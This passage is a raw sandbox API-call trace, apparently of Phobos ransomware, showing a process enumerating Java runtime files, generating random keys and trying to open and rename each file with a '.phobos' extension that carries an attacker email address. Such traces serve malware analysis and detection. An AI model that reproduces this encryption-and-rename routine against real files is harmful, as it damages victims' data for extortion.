"c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.282] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.282] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=29760) returned 1 [0125.282] CloseHandle (hObject=0x594) returned 1 [0125.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 0x20 [0125.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.283] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.283] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.283] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=14400) returned 1 [0125.283] CloseHandle (hObject=0x594) returned 1 [0125.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 0x20 [0125.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.284] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.284] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=15424) returned 1 [0125.284] CloseHandle (hObject=0x594) returned 1 [0125.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 0x20 [0125.284] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.284] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.285] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=201792) returned 1 [0125.285] CloseHandle (hObject=0x594) returned 1 [0125.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 0x20 [0125.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.285] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.285] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=26688) returned 1 [0125.285] CloseHandle (hObject=0x594) returned 1 [0125.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 0x20 [0125.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.286] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.286] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=139840) returned 1 [0125.286] CloseHandle (hObject=0x594) returned 1 [0125.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 0x20 [0125.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.286] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.286] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.286] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=41503296) returned 1 [0125.286] CloseHandle (hObject=0x594) returned 1 [0125.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0x20 [0125.286] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0125.287] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0 [0125.287] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.287] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.287] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=15936) returned 1 [0125.287] CloseHandle (hObject=0x594) returned 1 [0125.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 0x20 [0125.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.288] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.288] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=174656) returned 1 [0125.288] CloseHandle (hObject=0x594) returned 1 [0125.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 0x20 [0125.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.288] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.288] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.288] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=296000) returned 1 [0125.288] CloseHandle (hObject=0x594) returned 1 [0125.288] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 0x20 [0125.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.289] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.289] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.289] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=112192) returned 1 [0125.289] CloseHandle (hObject=0x594) returned 1 [0125.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 0x20 [0125.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.290] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.290] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=20032) returned 1 [0125.290] CloseHandle (hObject=0x594) returned 1 [0125.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 0x20 [0125.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.291] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.291] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=235584) returned 1 [0125.291] CloseHandle (hObject=0x594) returned 1 [0125.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 0x20 [0125.291] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.291] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.291] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.292] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=185920) returned 1 [0125.292] CloseHandle (hObject=0x594) returned 1 [0125.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 0x20 [0125.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.292] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.292] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=18496) returned 1 [0125.292] CloseHandle (hObject=0x594) returned 1 [0125.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 0x20 [0125.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.292] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.293] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.293] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=35392) returned 1 [0125.293] CloseHandle (hObject=0x594) returned 1 [0125.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 0x20 [0125.293] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.293] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.294] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=31296) returned 1 [0125.294] CloseHandle (hObject=0x594) returned 1 [0125.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 0x20 [0125.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.294] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.294] CreateFileW 